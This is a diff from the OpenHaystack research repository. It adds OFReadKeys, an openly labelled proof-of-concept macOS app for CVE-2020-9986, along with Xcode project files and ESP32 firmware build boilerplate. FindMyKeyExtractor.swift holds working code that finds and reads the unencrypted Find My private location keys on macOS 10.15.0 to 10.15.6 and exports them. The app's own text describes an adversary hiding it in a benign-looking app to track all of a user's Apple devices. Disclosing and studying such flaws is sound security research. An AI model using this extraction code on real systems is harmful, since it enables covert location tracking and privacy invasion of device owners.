selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||
<Testables>
|
||||
</Testables>
|
||||
</TestAction>
|
||||
<LaunchAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
launchStyle = "0"
|
||||
useCustomWorkingDirectory = "NO"
|
||||
ignoresPersistentStateOnLaunch = "NO"
|
||||
debugDocumentVersioning = "YES"
|
||||
debugServiceExtension = "internal"
|
||||
allowLocationSimulation = "YES">
|
||||
<BuildableProductRunnable
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "78097EC2248E27E700096FCA"
|
||||
BuildableName = "OFReadKeys.app"
|
||||
BlueprintName = "OFReadKeys"
|
||||
ReferencedContainer = "container:OFReadKeys.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
</LaunchAction>
|
||||
<ProfileAction
|
||||
buildConfiguration = "Release"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||
savedToolIdentifier = ""
|
||||
useCustomWorkingDirectory = "NO"
|
||||
debugDocumentVersioning = "YES">
|
||||
<BuildableProductRunnable
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "78097EC2248E27E700096FCA"
|
||||
BuildableName = "OFReadKeys.app"
|
||||
BlueprintName = "OFReadKeys"
|
||||
ReferencedContainer = "container:OFReadKeys.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
</ProfileAction>
|
||||
<AnalyzeAction
|
||||
buildConfiguration = "Debug">
|
||||
</AnalyzeAction>
|
||||
<ArchiveAction
|
||||
buildConfiguration = "Release"
|
||||
revealArchiveInOrganizer = "YES">
|
||||
</ArchiveAction>
|
||||
</Scheme>
|
||||
@@ -1,6 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Scheme
|
||||
LastUpgradeVersion = "1240"
|
||||
LastUpgradeVersion = "1250"
|
||||
version = "1.3">
|
||||
<BuildAction
|
||||
parallelizeBuildables = "YES"
|
||||
@@ -14,10 +14,10 @@
|
||||
buildForAnalyzing = "YES">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "78F7253325ED02300039C718"
|
||||
BlueprintIdentifier = "782AC6C425F0E2D200554BF4"
|
||||
BuildableName = "Run OFFetchReports"
|
||||
BlueprintName = "Run OFFetchReports"
|
||||
ReferencedContainer = "container:OpenHaystack.xcodeproj">
|
||||
ReferencedContainer = "container:OFReadKeys.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildActionEntry>
|
||||
</BuildActionEntries>
|
||||
@@ -44,12 +44,18 @@
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "78108B6B248E8FB50007E9C4"
|
||||
BlueprintIdentifier = "782AC69D25F0DF3000554BF4"
|
||||
BuildableName = "OFFetchReports.app"
|
||||
BlueprintName = "OFFetchReports"
|
||||
ReferencedContainer = "container:OpenHaystack.xcodeproj">
|
||||
ReferencedContainer = "container:OFReadKeys.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
<CommandLineArguments>
|
||||
<CommandLineArgument
|
||||
argument = ""
|
||||
isEnabled = "YES">
|
||||
</CommandLineArgument>
|
||||
</CommandLineArguments>
|
||||
</LaunchAction>
|
||||
<ProfileAction
|
||||
buildConfiguration = "Release"
|
||||
@@ -60,10 +66,10 @@
|
||||
<MacroExpansion>
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "78F7253325ED02300039C718"
|
||||
BlueprintIdentifier = "782AC6C425F0E2D200554BF4"
|
||||
BuildableName = "Run OFFetchReports"
|
||||
BlueprintName = "Run OFFetchReports"
|
||||
ReferencedContainer = "container:OpenHaystack.xcodeproj">
|
||||
ReferencedContainer = "container:OFReadKeys.xcodeproj">
|
||||
</BuildableReference>
|
||||
</MacroExpansion>
|
||||
</ProfileAction>
|
||||
41
CVE-2020-9986/OFReadKeys/OFReadKeys/AppDelegate.swift
Normal file
41
CVE-2020-9986/OFReadKeys/OFReadKeys/AppDelegate.swift
Normal file
@@ -0,0 +1,41 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Cocoa
|
||||
import SwiftUI
|
||||
import CoreLocation
|
||||
|
||||
@NSApplicationMain
|
||||
class AppDelegate: NSObject, NSApplicationDelegate {
|
||||
|
||||
var window: NSWindow!
|
||||
|
||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||
// Create the SwiftUI view that provides the window contents.
|
||||
let contentView = ContentView()
|
||||
|
||||
// Create the window and set the content view.
|
||||
window = NSWindow(
|
||||
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||
backing: .buffered, defer: false)
|
||||
window.center()
|
||||
window.setFrameAutosaveName("Main Window")
|
||||
window.contentView = NSHostingView(rootView: contentView)
|
||||
window.makeKeyAndOrderFront(nil)
|
||||
}
|
||||
|
||||
func applicationWillTerminate(_ aNotification: Notification) {
|
||||
// Insert code here to tear down your application
|
||||
}
|
||||
|
||||
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
||||
return true
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "1x",
|
||||
"size" : "16x16"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "2x",
|
||||
"size" : "16x16"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "1x",
|
||||
"size" : "32x32"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "2x",
|
||||
"size" : "32x32"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "1x",
|
||||
"size" : "128x128"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "2x",
|
||||
"size" : "128x128"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "1x",
|
||||
"size" : "256x256"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "2x",
|
||||
"size" : "256x256"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "1x",
|
||||
"size" : "512x512"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "2x",
|
||||
"size" : "512x512"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<document type="com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB" version="3.0" toolsVersion="17701" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES">
|
||||
<dependencies>
|
||||
<deployment identifier="macosx"/>
|
||||
<plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="17701"/>
|
||||
</dependencies>
|
||||
<scenes>
|
||||
<!--Application-->
|
||||
<scene sceneID="JPo-4y-FX3">
|
||||
<objects>
|
||||
<application id="hnw-xV-0zn" sceneMemberID="viewController">
|
||||
<menu key="mainMenu" title="Main Menu" systemMenu="main" id="AYu-sK-qS6">
|
||||
<items>
|
||||
<menuItem title="OFReadKeys" id="1Xt-HY-uBw">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="OFReadKeys" systemMenu="apple" id="uQy-DD-JDr">
|
||||
<items>
|
||||
<menuItem title="About OFReadKeys" id="5kV-Vb-QxS">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="orderFrontStandardAboutPanel:" target="Ady-hI-5gd" id="Exp-CZ-Vem"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="VOq-y0-SEH"/>
|
||||
<menuItem title="Hide OFReadKeys" keyEquivalent="h" id="Olw-nP-bQN">
|
||||
<connections>
|
||||
<action selector="hide:" target="Ady-hI-5gd" id="PnN-Uc-m68"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Hide Others" keyEquivalent="h" id="Vdr-fp-XzO">
|
||||
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
|
||||
<connections>
|
||||
<action selector="hideOtherApplications:" target="Ady-hI-5gd" id="VT4-aY-XCT"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Show All" id="Kd2-mp-pUS">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="unhideAllApplications:" target="Ady-hI-5gd" id="Dhg-Le-xox"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="kCx-OE-vgT"/>
|
||||
<menuItem title="Quit OFReadKeys" keyEquivalent="q" id="4sb-4s-VLi">
|
||||
<connections>
|
||||
<action selector="terminate:" target="Ady-hI-5gd" id="Te7-pn-YzF"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
<connections>
|
||||
<outlet property="delegate" destination="Voe-Tx-rLC" id="PrD-fu-P6m"/>
|
||||
</connections>
|
||||
</application>
|
||||
<customObject id="Voe-Tx-rLC" customClass="AppDelegate" customModule="Read_FindMy_Keys" customModuleProvider="target"/>
|
||||
<customObject id="YLy-65-1bz" customClass="NSFontManager"/>
|
||||
<customObject id="Ady-hI-5gd" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
|
||||
</objects>
|
||||
<point key="canvasLocation" x="75" y="0.0"/>
|
||||
</scene>
|
||||
</scenes>
|
||||
</document>
|
||||
90
CVE-2020-9986/OFReadKeys/OFReadKeys/ContentView.swift
Normal file
90
CVE-2020-9986/OFReadKeys/OFReadKeys/ContentView.swift
Normal file
@@ -0,0 +1,90 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import OSLog
|
||||
|
||||
struct ContentView: View {
|
||||
|
||||
@State var keysInfo: String?
|
||||
|
||||
var body: some View {
|
||||
ZStack {
|
||||
VStack {
|
||||
Spacer()
|
||||
|
||||
self.infoText
|
||||
.padding()
|
||||
|
||||
Button(action: {
|
||||
self.readPrivateKeys()
|
||||
}, label: {
|
||||
Text("Read private offline finding keys")
|
||||
.font(.headline)
|
||||
.foregroundColor(Color.black)
|
||||
.padding()
|
||||
.background(
|
||||
RoundedRectangle(cornerRadius: 7.0)
|
||||
.fill(Color(white: 7.0).opacity(0.7))
|
||||
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
|
||||
)
|
||||
|
||||
})
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
|
||||
self.keysInfo.map { (keysInfo) in
|
||||
Text(keysInfo)
|
||||
.padding()
|
||||
}
|
||||
|
||||
Spacer()
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
.frame(width: 800, height: 600)
|
||||
|
||||
}
|
||||
|
||||
var infoText: some View {
|
||||
// swiftlint:disable line_length
|
||||
Text("This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of") +
|
||||
Text(" all ").bold() +
|
||||
Text("Apple devices of the current user.\n\n") +
|
||||
Text("To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user.")
|
||||
// swiftlint:enable line_length
|
||||
}
|
||||
|
||||
func readPrivateKeys() {
|
||||
|
||||
do {
|
||||
let devices = try FindMyKeyExtractor.readPrivateKeys()
|
||||
let numberOfKeys = devices.reduce(0, {$0 + $1.keys.count})
|
||||
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
|
||||
self.saveExportedKeys(keys: devices)
|
||||
} catch {
|
||||
os_log(.error, "Could not load keys %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
|
||||
func saveExportedKeys(keys: [FindMyDevice]) {
|
||||
do {
|
||||
let keysPlist = try PropertyListEncoder().encode(keys)
|
||||
SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
|
||||
} catch {
|
||||
os_log(.error, "Property list encoding failed %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct ContentView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
ContentView()
|
||||
}
|
||||
}
|
||||
225
CVE-2020-9986/OFReadKeys/OFReadKeys/FindMyKeyExtractor.swift
Normal file
225
CVE-2020-9986/OFReadKeys/OFReadKeys/FindMyKeyExtractor.swift
Normal file
@@ -0,0 +1,225 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CryptoKit
|
||||
import OSLog
|
||||
|
||||
struct FindMyKeyExtractor {
|
||||
// swiftlint:disable identifier_name
|
||||
|
||||
/// This function reads the private keys of the Offline Finding Location system. They will
|
||||
/// - Throws: Error when accessing files fails
|
||||
/// - Returns: Devices and their respective keys
|
||||
static func readPrivateKeys() throws -> [FindMyDevice] {
|
||||
var devices = [FindMyDevice]()
|
||||
os_log(.debug, "Looking for keys")
|
||||
|
||||
do {
|
||||
|
||||
// The key files have moved with macOS 10.15.4
|
||||
let macOS10_15_3Devices = try self.readFromOldLocation()
|
||||
devices.append(contentsOf: macOS10_15_3Devices)
|
||||
} catch {
|
||||
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
|
||||
}
|
||||
|
||||
do {
|
||||
// Tries to discover the new location of the keys
|
||||
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
|
||||
devices.append(contentsOf: macOS10_15_4Devices)
|
||||
} catch {
|
||||
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
|
||||
}
|
||||
|
||||
return devices
|
||||
}
|
||||
|
||||
// MARK: - macOS 10.15.0 - 10.15.3
|
||||
|
||||
/// Reads the find my keys from the location used until macOS 10.15.3
|
||||
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
|
||||
/// - Returns: An array of find my devices including their keys
|
||||
static func readFromOldLocation() throws -> [FindMyDevice] {
|
||||
// Access the find my directory where the private advertisement keys are stored unencrypted
|
||||
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
|
||||
|
||||
let fm = FileManager.default
|
||||
let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
|
||||
.first?.appendingPathComponent(directoryPath)
|
||||
let folders = try fm.contentsOfDirectory(at: privateKeysPath!,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
guard folders.isEmpty == false else {throw FindMyError.noFoldersFound}
|
||||
|
||||
print("Found \(folders.count) folders")
|
||||
var devices = [FindMyDevice]()
|
||||
|
||||
for folderURL in folders {
|
||||
let keyFiles = try fm.contentsOfDirectory(at: folderURL,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
// Check if keys are available
|
||||
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
|
||||
guard keyFiles.isEmpty == false else {continue}
|
||||
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
|
||||
|
||||
for url in keyFiles {
|
||||
do {
|
||||
if url.pathExtension == "keys" {
|
||||
let keyPlist = try Data(contentsOf: url)
|
||||
let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
|
||||
device.keys.append(keyInfo)
|
||||
}
|
||||
} catch {
|
||||
print("Could not load key file ", error)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
devices.append(device)
|
||||
}
|
||||
|
||||
return devices
|
||||
}
|
||||
|
||||
/// Parses the key plist file used until macOS 10.15.3
|
||||
/// - Parameter keyFile: Propery list data
|
||||
/// - Returns: Find My private Key
|
||||
static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
|
||||
guard let keyDict = try PropertyListSerialization.propertyList(from: keyFile,
|
||||
options: .init(), format: nil) as? [String: Any],
|
||||
let advertisedKey = keyDict["A"] as? Data,
|
||||
let privateKey = keyDict["PR"] as? Data,
|
||||
let timeValues = keyDict["D"] as? [Double],
|
||||
let pu = keyDict["PU"] as? Data
|
||||
else {
|
||||
throw FindMyError.parsingFailed
|
||||
}
|
||||
|
||||
let hashedKeyDigest = SHA256.hash(data: advertisedKey)
|
||||
let hashedKey = Data(hashedKeyDigest)
|
||||
let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
|
||||
let duration = timeValues[1]
|
||||
|
||||
return FindMyKey(advertisedKey: advertisedKey,
|
||||
hashedKey: hashedKey,
|
||||
privateKey: privateKey,
|
||||
startTime: time,
|
||||
duration: duration,
|
||||
pu: pu,
|
||||
yCoordinate: nil,
|
||||
fullKey: nil)
|
||||
}
|
||||
|
||||
// MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
|
||||
|
||||
/// Find the randomized key folder which is used since macOS 10.15.4
|
||||
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
|
||||
static func findRamdomKeyFolder() -> [URL] {
|
||||
os_log(.debug, "Searching for cached keys folder")
|
||||
var folderURLs = [URL]()
|
||||
let foldersPath = "/private/var/folders/"
|
||||
let fm = FileManager.default
|
||||
|
||||
func recursiveSearch(from url: URL, urlArray: inout [URL]) {
|
||||
do {
|
||||
let randomSubfolders = try fm.contentsOfDirectory(at: url,
|
||||
includingPropertiesForKeys: nil,
|
||||
options: .includesDirectoriesPostOrder)
|
||||
|
||||
for folder in randomSubfolders {
|
||||
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
|
||||
urlArray.append(folder.appendingPathComponent("Keys"))
|
||||
os_log(.debug, "Found folder at: %@", folder.path)
|
||||
break
|
||||
} else {
|
||||
recursiveSearch(from: folder, urlArray: &urlArray)
|
||||
}
|
||||
}
|
||||
|
||||
} catch {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
|
||||
|
||||
return folderURLs
|
||||
|
||||
}
|
||||
|
||||
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
|
||||
/// - Throws: An error if the key folder cannot be fould
|
||||
/// - Returns: An array of devices including their keys
|
||||
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
|
||||
let keysFolders = self.findRamdomKeyFolder()
|
||||
guard keysFolders.isEmpty == false else {
|
||||
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
|
||||
}
|
||||
|
||||
var devices = [FindMyDevice]()
|
||||
for folder in keysFolders {
|
||||
if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
|
||||
devices.append(contentsOf: deviceKeys)
|
||||
}
|
||||
}
|
||||
|
||||
return devices
|
||||
}
|
||||
|
||||
/// Load the keys fils in the passed directory
|
||||
/// - Parameter directory: Pass a directory url to a location with key files
|
||||
/// - Throws: An error if the keys could not be found
|
||||
/// - Returns: An array of devices including their keys
|
||||
static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
|
||||
os_log(.debug, "Loading key files from %@", directory.path)
|
||||
let fm = FileManager.default
|
||||
let subDirectories = try fm.contentsOfDirectory(at: directory,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
|
||||
var devices = [FindMyDevice]()
|
||||
|
||||
for deviceDirectory in subDirectories {
|
||||
do {
|
||||
var keyFiles = [Data]()
|
||||
let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
|
||||
let keyFileURLs = try fm.contentsOfDirectory(at: keyDirectory,
|
||||
includingPropertiesForKeys: nil,
|
||||
options: .skipsHiddenFiles)
|
||||
for keyfileURL in keyFileURLs {
|
||||
// Read the key files
|
||||
let keyFile = try Data(contentsOf: keyfileURL)
|
||||
if keyFile.isEmpty == false {
|
||||
keyFiles.append(keyFile)
|
||||
}
|
||||
}
|
||||
|
||||
// Decode keys for file
|
||||
let decoder = FindMyKeyDecoder()
|
||||
var decodedKeys = [FindMyKey]()
|
||||
for file in keyFiles {
|
||||
do {
|
||||
let fmKeys = try decoder.parse(keyFile: file)
|
||||
decodedKeys.append(contentsOf: fmKeys)
|
||||
} catch {
|
||||
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
|
||||
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
|
||||
devices.append(device)
|
||||
} catch {
|
||||
os_log(.error, "Key directory not found %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
|
||||
return devices
|
||||
}
|
||||
|
||||
}
|
||||
44
CVE-2020-9986/OFReadKeys/OFReadKeys/FindMyModels.swift
Normal file
44
CVE-2020-9986/OFReadKeys/OFReadKeys/FindMyModels.swift
Normal file
@@ -0,0 +1,44 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import Combine
|
||||
import CryptoKit
|
||||
|
||||
struct FindMyDevice: Codable {
|
||||
let deviceId: String
|
||||
var keys = [FindMyKey]()
|
||||
}
|
||||
|
||||
struct FindMyKey: Codable {
|
||||
/// The advertising key
|
||||
let advertisedKey: Data
|
||||
/// Hashed advertisement key using SHA256
|
||||
let hashedKey: Data
|
||||
/// The private key from which the advertisement keys can be derived
|
||||
let privateKey: Data
|
||||
/// When this key was used to send out BLE advertisements
|
||||
let startTime: Date?
|
||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||
let duration: Double?
|
||||
|
||||
// swiftlint:disable identifier_name
|
||||
/// ?
|
||||
let pu: Data?
|
||||
|
||||
/// As exported from Big Sur
|
||||
let yCoordinate: Data?
|
||||
/// As exported from BigSur
|
||||
let fullKey: Data?
|
||||
}
|
||||
|
||||
enum FindMyError: Error {
|
||||
case noFoldersFound
|
||||
case parsingFailed
|
||||
}
|
||||
44
CVE-2020-9986/OFReadKeys/OFReadKeys/Info.plist
Normal file
44
CVE-2020-9986/OFReadKeys/OFReadKeys/Info.plist
Normal file
@@ -0,0 +1,44 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>$(EXECUTABLE_NAME)</string>
|
||||
<key>CFBundleIconFile</key>
|
||||
<string></string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>$(PRODUCT_NAME)</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>$(PRODUCT_BUNDLE_PACKAGE_TYPE)</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1</string>
|
||||
<key>LSMinimumSystemVersion</key>
|
||||
<string>$(MACOSX_DEPLOYMENT_TARGET)</string>
|
||||
<key>NSHumanReadableCopyright</key>
|
||||
<string>Copyright © 2020 SEEMOO - TU Darmstadt. All rights reserved.</string>
|
||||
<key>NSLocationAlwaysAndWhenInUseUsageDescription</key>
|
||||
<string>Just for testing</string>
|
||||
<key>NSLocationAlwaysUsageDescription</key>
|
||||
<string>Just for testing</string>
|
||||
<key>NSLocationUsageDescription</key>
|
||||
<string>Just for testing</string>
|
||||
<key>NSLocationWhenInUseUsageDescription</key>
|
||||
<string>Just for testing</string>
|
||||
<key>NSMainStoryboardFile</key>
|
||||
<string>Main</string>
|
||||
<key>NSPrincipalClass</key>
|
||||
<string>NSApplication</string>
|
||||
<key>NSSupportsAutomaticTermination</key>
|
||||
<true/>
|
||||
<key>NSSupportsSuddenTermination</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
10
CVE-2020-9986/OFReadKeys/OFReadKeys/OFReadKeys.entitlements
Normal file
10
CVE-2020-9986/OFReadKeys/OFReadKeys/OFReadKeys.entitlements
Normal file
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.app-sandbox</key>
|
||||
<false/>
|
||||
<key>com.apple.security.cs.disable-executable-page-protection</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
46
CVE-2020-9986/OFReadKeys/OFReadKeys/SavePanel.swift
Normal file
46
CVE-2020-9986/OFReadKeys/OFReadKeys/SavePanel.swift
Normal file
@@ -0,0 +1,46 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import AppKit
|
||||
|
||||
class SavePanel: NSObject, NSOpenSavePanelDelegate {
|
||||
|
||||
static let shared = SavePanel()
|
||||
|
||||
var fileToSave: Data?
|
||||
var fileExtension: String?
|
||||
var panel: NSSavePanel?
|
||||
|
||||
func saveFile(file: Data, fileExtension: String) {
|
||||
self.fileToSave = file
|
||||
self.fileExtension = fileExtension
|
||||
|
||||
self.panel = NSSavePanel()
|
||||
self.panel?.delegate = self
|
||||
self.panel?.title = "Export Find My Keys"
|
||||
self.panel?.prompt = "Export"
|
||||
self.panel?.nameFieldLabel = "Offline Keys Plist"
|
||||
self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
|
||||
self.panel?.allowedFileTypes = ["plist"]
|
||||
|
||||
self.panel?.begin(completionHandler: { (response) in
|
||||
if response == .OK {
|
||||
// Save the file in a cache directory
|
||||
let fileURL = self.panel?.url
|
||||
try? self.fileToSave?.write(to: fileURL!)
|
||||
}
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
|
||||
return filename
|
||||
}
|
||||
}
|
||||
3
Firmware/ESP32/.gitignore
vendored
Normal file
3
Firmware/ESP32/.gitignore
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
build/**
|
||||
venv/**
|
||||
sdkconfig.old
|
||||
7
Firmware/ESP32/CMakeLists.txt
Normal file
7
Firmware/ESP32/CMakeLists.txt
Normal file
@@ -0,0 +1,7 @@
|
||||
# The following lines of boilerplate have to be in your project's CMakeLists
|
||||
# in this exact order for cmake to work correctly
|
||||
cmake_minimum_required(VERSION 3.5)
|
||||
|
||||
set(SUPPORTED_TARGETS esp32)
|
||||
include($ENV{IDF_PATH}/tools/cmake/project.cmake)
|
||||
project(openhaystack)
|
||||
10
Firmware/ESP32/Makefile
Normal file
10
Firmware/ESP32/Makefile
Normal file
@@ -0,0 +1,10 @@
|
||||
#
|
||||
# This is a project Makefile. It is assumed the directory this Makefile resides in is a
|
||||
# project subdirectory.
|
||||
#
|
||||
|
||||
PROJECT_NAME := openhaystack-esp32
|
||||
|
||||
COMPONENT_ADD_INCLUDEDIRS := components/include
|
||||
|
||||
include $(IDF_PATH)/make/project.mk
|
||||
44
Firmware/ESP32/README.md
